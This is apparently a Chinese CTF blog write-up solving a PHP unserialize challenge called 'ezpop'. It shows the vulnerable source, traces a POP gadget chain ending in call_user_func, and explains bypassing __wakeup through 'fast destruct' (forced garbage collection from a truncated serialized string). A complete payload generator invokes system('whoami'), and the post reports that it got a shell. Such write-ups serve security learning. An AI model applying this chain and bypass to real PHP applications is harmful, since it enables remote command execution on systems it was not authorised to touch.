ezpop以及fastdestruct

本文最后更新于:2024年4月6日 下午

从buu十月赛学到点东西,废话不多说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
<?php
highlight_file(__FILE__);
error_reporting(0);

class fine
{
private $cmd;
private $content;

public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}

public function __invoke()
{
call_user_func($this->cmd, $this->content);
}

public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}

class show
{
public $ctf;
public $time = "Two and a half years";

public function __construct($ctf)
{
$this->ctf = $ctf;
}


public function __toString()
{
return $this->ctf->show();
}

public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}


}

class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;

public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}

public function __sleep()
{
$this->hint = new secret_code();
}

public function __get($name)
{
$name = $this->key;
$name();
}


public function __destruct()
{
if ($this->password == $this->name) {

echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}


public function getPassword()
{
return $this->password;
}

public function setPassword($password): void
{
$this->password = $password;
}


}

class secret_code
{
protected $code;

public static function secret()
{
include_once "hint.php";
hint();
}

public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}

private function show()
{
return $this->code->secret;
}
}


if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}

题目代码如上

来逆向进行分析构造

首先看到目标函数在fine类的call_user_func(),这里需要invoke,跟进到sorry的get,跟进到secret_code的show,这里要想办法连到这个show,看到show类会调用show函数,再寻找使用字符串的地方,发现sorry类的destruct可以把hint当作字符串输出。

但是这里的fine类要求绕过wakeup,观察了一下php版本,常见的方法并不适用,但是此时fine类位于pop链的末尾,所以可以使用强制gc来实现提前销毁,也就是说还没吊用wakeup就已经销毁吊用destruct,改变了正常反序列化的顺序。

由于强制gc,底下的设置密码已经对我们无关紧要了,只要在序列化的时候让name=pass就可以了

关于强制gc的原理这篇文章做了一些介绍https://www.sohu.com/a/487112177_121118996

关于fastdestruct的手法这篇有一些介绍https://mp.weixin.qq.com/s?__biz=MzIzMTQ4NzE2Ng==&mid=2247487933&idx=1&sn=e57bc3583c1b80f1aa7bd08409cfb82d

这里贴出我们构造的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
<?php
class fine
{
private $cmd;
private $content;

public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}

public function __invoke()
{
call_user_func($this->cmd, $this->content);
}

public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}

class show
{
public $ctf;
public $time = "Two and a half years";

public function __construct($ctf)
{
$this->ctf = $ctf;
}


public function __toString()
{
return $this->ctf->show();
}

public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}


}

class sorry
{
private $name;
private $password;
public $hint;
public $key;

public function __construct($name, $password,$hint,$key)
{
$this->name = $name;
$this->password = $password;
$this->hint = $hint;
$this->key = $key;
}


public function __get($name)
{
$name = $this->key;
$name();
}


public function __destruct()
{
if ($this->password == $this->name) {

echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}


public function getPassword()
{
return $this->password;
}

public function setPassword($password): void
{
$this->password = $password;
}


}

class secret_code
{
protected $code;

public function __construct($code)
{
$this->code = $code;
}

public static function secret()
{
include_once "hint.php";
hint();
}

public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}

private function show()
{
return $this->code->secret;
}
}

/*
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
*/
$fine = new fine("system","whoami");
$sorry1 = new sorry("1","1","1",$fine);
$secret = new secret_code($sorry1);
$show = new show($secret);
$sorry2 = new sorry("1","1",$show,"");
echo urlencode(serialize($sorry2));

image-20221025213025847

去掉最后一个大括号进行强制gc,成功getshell。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!